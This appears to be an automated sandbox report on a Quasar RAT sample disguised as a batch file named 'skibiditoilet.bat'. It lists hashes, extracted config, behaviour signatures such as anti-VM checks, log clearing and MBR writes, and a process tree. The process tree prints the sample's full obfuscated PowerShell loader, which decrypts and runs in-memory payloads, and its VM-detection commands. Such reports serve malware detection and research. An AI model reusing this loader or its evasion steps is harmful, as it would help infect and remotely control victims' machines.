Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-12-2024 00:45

General

  • Target

    skibiditoilet.bat

  • Size

    7.4MB

  • MD5

    e67e3a94d89425d40496ddf35898d535

  • SHA1

    0797b9358d62864867ce3253a02a20456ac735b1

  • SHA256

    8d7786fb33c1d05816fdc8c938273b452e94a4234358b45e567cc31ceaf262ad

  • SHA512

    6b7c2115556e45e4584a6eb2cc8a68585b8ac25806135406057aa44c41aa9ae6a10fdaf4abdba2e2d94df526f90ed243a86664f82de044fb2603025d8965e13d

  • SSDEEP

    49152:SckmM2hvv+vfCedsWawQhCU2p3byz6fH6DdztsVuY/FEXx3bSwbhK0XD2KiVmZbV:V

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    BF83117B79367DC6A2463E499652930B1A20BE7A

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 14 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 23 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 6 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 20 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Modifies data under HKEY_USERS 28 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:620
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1016
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{17019c63-adf5-4f99-9773-c0ad0945ee2b}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4860
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{d0500dad-7f4e-484c-9c59-a44194b148b7}
          2⤵
            PID:3448
        • C:\Windows\system32\lsass.exe
          C:\Windows\system32\lsass.exe
          1⤵
            PID:672
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
            1⤵
              PID:940
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:392
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:912
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1104
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1116
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      PID:1124
                      • C:\Windows\system32\taskhostw.exe
                        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                        2⤵
                          PID:2660
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                        • Indicator Removal: Clear Windows Event Logs
                        PID:1144
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1272
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1308
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1324
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1408
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2532
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                  1⤵
                                    PID:1416
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1572
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1584
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1652
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1736
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1768
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                              1⤵
                                                PID:1792
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1892
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1948
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1956
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1692
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                        1⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1940
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:2092
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2156
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2244
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2336
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                1⤵
                                                                  PID:2552
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2620
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                    1⤵
                                                                      PID:2628
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                      1⤵
                                                                        PID:2744
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                        1⤵
                                                                        • Drops file in System32 directory
                                                                        PID:2824
                                                                      • C:\Windows\sysmon.exe
                                                                        C:\Windows\sysmon.exe
                                                                        1⤵
                                                                          PID:2912
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                          1⤵
                                                                          • Enumerates connected drives
                                                                          PID:2920
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2936
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2952
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:2296
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3360
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  PID:3484
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat"
                                                                                    2⤵
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1876
                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      3⤵
                                                                                        PID:540
                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                        fsutil fsinfo drives
                                                                                        3⤵
                                                                                          PID:516
                                                                                        • C:\Windows\system32\findstr.exe
                                                                                          findstr /i /c:"QEMU HARDDISK" /c:"DADY HARDDISK" /c:"WDS100T2B0A"
                                                                                          3⤵
                                                                                            PID:2588
                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                            fsutil fsinfo drives
                                                                                            3⤵
                                                                                              PID:3448
                                                                                            • C:\Windows\system32\findstr.exe
                                                                                              findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
                                                                                              3⤵
                                                                                                PID:3452
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                cmd.exe /c echo function bGHD($RkCl){ Invoke-Expression -Debug -WarningAction Inquire -Verbose '$FfCT=[gySgyygystgyegymgy.gySgyegycugyrgyigytgyygy.gyCrgyygypgytgyogyggyragyphgyygy.Agyegys]gy::gyCgyrgyegyagytgye(gy)gy;'.Replace('gy', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore '$FfCT.MAHoAHdAHe=AH[AHSAHyAHsAHtAHemAH.AHSAHeAHcAHuAHriAHtAHyAH.AHCAHrAHypAHtoAHgAHraAHpAHhyAH.CAHiAHpAHhAHeAHrAHMoAHdAHeAH]AH::AHCBAHC;'.Replace('AH', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire '$FfCT.PFEaFEdFEdiFEnFEgFE=FE[FESFEysFEtFEeFEmFE.FESFEecFEuFErFEiFEtFEyFE.CFEryFEpFEtoFEgFEraFEphFEyFE.FEPFEaFEdFEdiFEnFEgFEMFEodFEe]FE::FEPFEKFECFESFE7;'.Replace('FE', ''); Invoke-Expression -Debug '$FfCT.Kideidyid=[idSidyidsidtideidm.idCidoidnidvideidrtid]id:id:idFidridomidBaidside6id4idStidriidnidgid("rid7idsidg9idSid+id3id6idhidDsidsidlid9idDidLidaBidJidbidPidvidHidG4idWtidpidEsidjid+Cidg4id7idsidIidwidtidhUid=id");'.Replace('id', ''); Invoke-Expression -InformationAction Ignore -Debug -Verbose '$FfCT.IkDVkD=kD[SkDykDskDtkDekDmkD.CkDokDnkDvkDekDrkDt]kD:kD:kDFkDrkDokDmBkDaskDekD64kDSkDtrkDinkDgkD("+kD9kDfkDeMkDfkD2kDMkDPkDwkDtgkDTkDrkD7kD7kDlkDMKkD9kDgkDQkD=kD=");'.Replace('kD', ''); $UBuD=$FfCT.CreateDecryptor(); $NTSS=$UBuD.TransformFinalBlock($RkCl, 0, $RkCl.Length); $UBuD.Dispose(); $FfCT.Dispose(); $NTSS;}function bxuq($RkCl){ Invoke-Expression -WarningAction Inquire -Debug '$HOEL=NIdeIdwId-OIdbIdjIdeIdcIdtId SIdyIdsIdtIdeIdmId.IIdOId.IdMIdeIdmIdorIdySIdtIdreIdaIdm(,$RkCl);'.Replace('Id', ''); Invoke-Expression -InformationAction Ignore '$KAKm=NIdeIdwId-OIdbIdjIdeIdcIdtId SIdyIdsIdtIdeIdmId.IIdOId.IdMIdeIdmIdorIdySIdtIdreIdaIdm;'.Replace('Id', ''); Invoke-Expression -InformationAction Ignore '$tAxt=NwEewEwwE-OwEbwEjwEewEcwEtwE SwEywEswEtwEewEmwE.IwEOwE.wECwEowEmwEprwEeswEswEiowEnwE.GwEZiwEpwESwEtwErwEewEamwE($HOEL, [wEIwEOwE.CwEowEmwEpwErwEewEsswEiwEowEnwE.wECwEomwEpwErwEewEswEswEiowEnMwEowEdewE]wE::wEDewEcwEowEmwEpwErwEeswEswE);'.Replace('wE', ''); $tAxt.CopyTo($KAKm); $tAxt.Dispose(); $HOEL.Dispose(); $KAKm.Dispose(); $KAKm.ToArray();}function LAnn($RkCl,$LRjf){ Invoke-Expression -Debug -WarningAction Inquire '$QPns=[DzSDzyDzstDzeDzmDz.DzRDzeDzflDzeDzcDztDziDzoDzn.DzADzsDzsDzeDzmDzblDzy]Dz:Dz:LDzoDzadDz([byte[]]$RkCl);'.Replace('Dz', ''); Invoke-Expression -Debug '$IQgG=$QPns.EUqnUqtUqryUqPUqoUqiUqnUqt;'.Replace('Uq', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$IQgG.SeISenSevoSekSeeSe(Se$SenSeulSelSe, $LRjf);'.Replace('Se', '');}$RtKw = 'C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat';$host.UI.RawUI.WindowTitle = $RtKw;$kLna=[System.IO.File]::ReadAllText($RtKw).Split([Environment]::NewLine);foreach ($jDdi in $kLna) { if ($jDdi.StartsWith('cKvGI')) { $haun=$jDdi.Substring(5); break; }}$dtxP=[string[]]$haun.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose -WarningAction Inquire '$PHM = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[0].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');Invoke-Expression -Verbose -Debug -WarningAction Inquire -InformationAction Ignore '$cOZ = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[1].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore -Verbose '$MKb = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[2].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');LAnn $PHM $null;LAnn $cOZ $null;LAnn $MKb (,[string[]] (''));
                                                                                                3⤵
                                                                                                  PID:4056
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell.exe -WindowStyle Hidden
                                                                                                  3⤵
                                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  • Drops file in Windows directory
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:4888
                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                    C:\Windows\system32\WerFault.exe -u -p 4888 -s 2560
                                                                                                    4⤵
                                                                                                    • Checks processor information in registry
                                                                                                    • Enumerates system info in registry
                                                                                                    PID:4012
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
                                                                                                    4⤵
                                                                                                    • Drops file in Windows directory
                                                                                                    PID:1184
                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      5⤵
                                                                                                        PID:4756
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
                                                                                                      4⤵
                                                                                                        PID:548
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          5⤵
                                                                                                            PID:1748
                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                            fsutil fsinfo drives
                                                                                                            5⤵
                                                                                                              PID:636
                                                                                                            • C:\Windows\system32\findstr.exe
                                                                                                              findstr /i /c:"QEMU HARDDISK" /c:"DADY HARDDISK" /c:"WDS100T2B0A"
                                                                                                              5⤵
                                                                                                                PID:3616
                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                fsutil fsinfo drives
                                                                                                                5⤵
                                                                                                                  PID:856
                                                                                                                • C:\Windows\system32\findstr.exe
                                                                                                                  findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
                                                                                                                  5⤵
                                                                                                                    PID:2944
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    cmd.exe /c echo function bGHD($RkCl){ Invoke-Expression -Debug -WarningAction Inquire -Verbose '$FfCT=[gySgyygystgyegymgy.gySgyegycugyrgyigytgyygy.gyCrgyygypgytgyogyggyragyphgyygy.Agyegys]gy::gyCgyrgyegyagytgye(gy)gy;'.Replace('gy', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore '$FfCT.MAHoAHdAHe=AH[AHSAHyAHsAHtAHemAH.AHSAHeAHcAHuAHriAHtAHyAH.AHCAHrAHypAHtoAHgAHraAHpAHhyAH.CAHiAHpAHhAHeAHrAHMoAHdAHeAH]AH::AHCBAHC;'.Replace('AH', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire '$FfCT.PFEaFEdFEdiFEnFEgFE=FE[FESFEysFEtFEeFEmFE.FESFEecFEuFErFEiFEtFEyFE.CFEryFEpFEtoFEgFEraFEphFEyFE.FEPFEaFEdFEdiFEnFEgFEMFEodFEe]FE::FEPFEKFECFESFE7;'.Replace('FE', ''); Invoke-Expression -Debug '$FfCT.Kideidyid=[idSidyidsidtideidm.idCidoidnidvideidrtid]id:id:idFidridomidBaidside6id4idStidriidnidgid("rid7idsidg9idSid+id3id6idhidDsidsidlid9idDidLidaBidJidbidPidvidHidG4idWtidpidEsidjid+Cidg4id7idsidIidwidtidhUid=id");'.Replace('id', ''); Invoke-Expression -InformationAction Ignore -Debug -Verbose '$FfCT.IkDVkD=kD[SkDykDskDtkDekDmkD.CkDokDnkDvkDekDrkDt]kD:kD:kDFkDrkDokDmBkDaskDekD64kDSkDtrkDinkDgkD("+kD9kDfkDeMkDfkD2kDMkDPkDwkDtgkDTkDrkD7kD7kDlkDMKkD9kDgkDQkD=kD=");'.Replace('kD', ''); $UBuD=$FfCT.CreateDecryptor(); $NTSS=$UBuD.TransformFinalBlock($RkCl, 0, $RkCl.Length); $UBuD.Dispose(); $FfCT.Dispose(); $NTSS;}function bxuq($RkCl){ Invoke-Expression -WarningAction Inquire -Debug '$HOEL=NIdeIdwId-OIdbIdjIdeIdcIdtId SIdyIdsIdtIdeIdmId.IIdOId.IdMIdeIdmIdorIdySIdtIdreIdaIdm(,$RkCl);'.Replace('Id', ''); Invoke-Expression -InformationAction Ignore '$KAKm=NIdeIdwId-OIdbIdjIdeIdcIdtId SIdyIdsIdtIdeIdmId.IIdOId.IdMIdeIdmIdorIdySIdtIdreIdaIdm;'.Replace('Id', ''); Invoke-Expression -InformationAction Ignore '$tAxt=NwEewEwwE-OwEbwEjwEewEcwEtwE SwEywEswEtwEewEmwE.IwEOwE.wECwEowEmwEprwEeswEswEiowEnwE.GwEZiwEpwESwEtwErwEewEamwE($HOEL, [wEIwEOwE.CwEowEmwEpwErwEewEsswEiwEowEnwE.wECwEomwEpwErwEewEswEswEiowEnMwEowEdewE]wE::wEDewEcwEowEmwEpwErwEeswEswE);'.Replace('wE', ''); $tAxt.CopyTo($KAKm); $tAxt.Dispose(); $HOEL.Dispose(); $KAKm.Dispose(); $KAKm.ToArray();}function LAnn($RkCl,$LRjf){ Invoke-Expression -Debug -WarningAction Inquire '$QPns=[DzSDzyDzstDzeDzmDz.DzRDzeDzflDzeDzcDztDziDzoDzn.DzADzsDzsDzeDzmDzblDzy]Dz:Dz:LDzoDzadDz([byte[]]$RkCl);'.Replace('Dz', ''); Invoke-Expression -Debug '$IQgG=$QPns.EUqnUqtUqryUqPUqoUqiUqnUqt;'.Replace('Uq', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$IQgG.SeISenSevoSekSeeSe(Se$SenSeulSelSe, $LRjf);'.Replace('Se', '');}$RtKw = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $RtKw;$kLna=[System.IO.File]::ReadAllText($RtKw).Split([Environment]::NewLine);foreach ($jDdi in $kLna) { if ($jDdi.StartsWith('cKvGI')) { $haun=$jDdi.Substring(5); break; }}$dtxP=[string[]]$haun.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose -WarningAction Inquire '$PHM = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[0].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');Invoke-Expression -Verbose -Debug -WarningAction Inquire -InformationAction Ignore '$cOZ = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[1].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore -Verbose '$MKb = bxuq (bGHD ([anCanoannvaneanrantan]an:an:FanranoanmanBanaansean6an4anSantanraninang($dtxP[2].Replace("#", "/").Replace("@", "A"))));'.Replace('an', '');LAnn $PHM $null;LAnn $cOZ $null;LAnn $MKb (,[string[]] (''));
                                                                                                                    5⤵
                                                                                                                      PID:2232
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell.exe -WindowStyle Hidden
                                                                                                                      5⤵
                                                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                      • Blocklisted process makes network request
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                      • Checks for VirtualBox DLLs, possible anti-VM trick
                                                                                                                      • Drops file in Windows directory
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:3124
                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                        C:\Windows\system32\WerFault.exe -u -p 3124 -s 2556
                                                                                                                        6⤵
                                                                                                                        • Checks processor information in registry
                                                                                                                        • Enumerates system info in registry
                                                                                                                        PID:3760
                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                        C:\Windows\system32\WerFault.exe -u -p 3124 -s 2636
                                                                                                                        6⤵
                                                                                                                          PID:220
                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                          "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
                                                                                                                          6⤵
                                                                                                                            PID:3936
                                                                                                                  • C:\Windows\$nya-onimai2\sWGTMr.exe
                                                                                                                    "C:\Windows\$nya-onimai2\sWGTMr.exe"
                                                                                                                    2⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:2972
                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      3⤵
                                                                                                                        PID:2112
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                    1⤵
                                                                                                                      PID:3644
                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                      1⤵
                                                                                                                        PID:3828
                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:3984
                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:3860
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                            1⤵
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            PID:3972
                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                            1⤵
                                                                                                                              PID:4192
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                              1⤵
                                                                                                                                PID:1996
                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                1⤵
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                PID:316
                                                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:3792
                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                  1⤵
                                                                                                                                    PID:2328
                                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                    1⤵
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    PID:4256
                                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                    1⤵
                                                                                                                                      PID:1600
                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                      1⤵
                                                                                                                                        PID:4588
                                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                        1⤵
                                                                                                                                          PID:4896
                                                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe a25b647590130b1da111df62fd9d21fa xdrveY16qU2nBafLYkOtaA.0.1.0.0.0
                                                                                                                                          1⤵
                                                                                                                                          • Sets service image path in registry
                                                                                                                                          PID:4108
                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                            2⤵
                                                                                                                                              PID:2016
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                            1⤵
                                                                                                                                            • Drops file in Windows directory
                                                                                                                                            PID:1496
                                                                                                                                          • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                            1⤵
                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                            • Writes to the Master Boot Record (MBR)
                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                            • Checks processor information in registry
                                                                                                                                            • Enumerates system info in registry
                                                                                                                                            PID:2756
                                                                                                                                          • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                            C:\Windows\servicing\TrustedInstaller.exe
